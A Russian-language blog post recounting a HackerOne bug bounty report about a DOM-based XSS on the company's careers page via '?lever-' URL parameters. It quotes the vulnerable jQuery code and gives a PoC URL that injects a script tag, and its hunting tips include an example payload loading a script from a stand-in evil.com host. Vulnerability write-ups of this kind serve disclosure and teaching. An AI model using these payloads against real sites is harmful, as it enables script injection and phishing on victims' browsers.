
Исследователь безопасности обнаружил DOM-based XSS уязвимость на странице вакансий HackerOne, за что получил вознаграждение в размере $500. Проблема заключалась в том, как страница обрабатывала “?lever-” параметры в URL и добавляла их в DOM, без должной проверки и очистки.
Хотя эта атака не могла обойти Политику Безопасности Контента (CSP) в современных браузерах, таких как Chrome и Firefox, она всё же успешно выполнялась в Internet Explorer и Microsoft Edge, где парсинг URL работает иначе.
Разбор Уязвимости
Уязвимый эндпоинт:
https://www.hackerone.com/careers?lever-<payload>
Уязвимый код (файл Masonry JS):
var pageUrl = window.location.href;
var leverParameter = '';
var trackingPrefix = '?lever-';
if( pageUrl.indexOf(trackingPrefix) >= 0){
var pageUrlSplit = pageUrl.split(trackingPrefix);
leverParameter = '?lever-' + pageUrlSplit[1];
}
var link = posting.hostedUrl + leverParameter;
jQuery('#jobs-container .jobs-list').append(
'<div class="job ' + teamCleanString + ' ' + locationCleanString.replace(',', '') + ' ' + commitmentCleanString + '">' +
'<a class="job-title" href="' + link + '">' + title + '</a>' +
'<p class="tags"><span>' + team + '</span><span>' + location + '</span><span>' + commitment + '</span></p>' +
'<p class="description">' + shortDescription + '</p>' +
'<a class="btn" href="' + link + '">Learn more</a>' +
'</div>'
);
В этом месте переменная link, содержащая невалидированные пользовательские данные из URL, внедряется в HTML-код страницы. Это создает возможность для атаки типа DOM-based XSS, когда через параметр ?lever внедряется вредоносный скрипт.
Демонстрация Концепции (PoC)
https://www.hackerone.com/careers?lever-#aaa"><script
src="
https://app-sj17.marketo.com/index.php/form/getForm?callback=alert"></script>
В IE/Edge этот вредоносный код вызвал выполнение внедренного скрипта, приводящего к reflected XSS.
Impact
- Выполнение JavaScript-кода в контексте домена страницы карьеры.
- Хотя Content Security Policy (CSP) блокировал атаку в современных браузерах, более старые или слабозащищенные окружения (например, IE/Edge) оставались уязвимыми.
- Злоумышленник потенциально мог использовать этот вектор для фишинга или изменения содержания страницы.
Как обнаружить такую уязвимость
Если вы ищете похожие баги, следуйте этим шагам:
1. Поиск динамического URL парсинга
Ищите в JavaScript-файлах window.location.href, window.location.search или кастомизированный парсинг строк запроса.
2. Обнаружение ненадежных входных данных в DOM Sinks.
Проверяйте, вставляются ли переменные, полученные из URL, в HTML с помощью .innerHTML, jQuery().append() или подобных методов.
3. Проверка CSP
Пробуйте различные сценарии в различных браузерах. Если CSP блокирует атаку, протестируйте в браузерах типа IE или в тестовых окружениях без строгих CSP заголовков.
4. Создание XSS нагрузок с внешними скриптами
Пример:
<script src="
https://evil.com/evil.js"></script>
5. Всегда проверяйте на слабых браузерах
Современный CSP может вас защитить, но браузеры более старых версий или встроенные контексты все еще могут позволить выполниться вредоносному коду.
Bounty Info
Hunter: nguyenlv7
Bounty Awarded: $500
Report ID: #474656
Заключительные мысли
Этот отчет отлично демонстрирует, почему в 2025 году, по прежнему, важно валидировать входные данные DOM и тестировать на устаревших браузерах. Даже если современные механизмы защиты обнаруживают угрозы, злоумышленники часто нацеливаются на устаревшие среды, где эти защиты не действуют.
Программы по поиску уязвимостей, такие как HackerOne, продолжают выплачивать вознаграждение, даже если возможность эксплуатации ограничена.
Спасибо за чтение!
Еще больше познавательного контента в Telegram-канале — Life-Hack - Хакер
Комментарии (2)
mayorovp
01.09.2025 13:28Там же в CSP прописан
script-src 'unsafe-inline'
. Почему вообще эта политика от чего-то защитила?
David_Osipov
Каким образом MS Edge уязвим? Он же на хромоногом и во время моих тестов на CSP вёл себя также, как и хром. А адаптировать для устаревших браузеров - ну блин, это же такая неблагодарная муть. Процент таких юзверов около 1%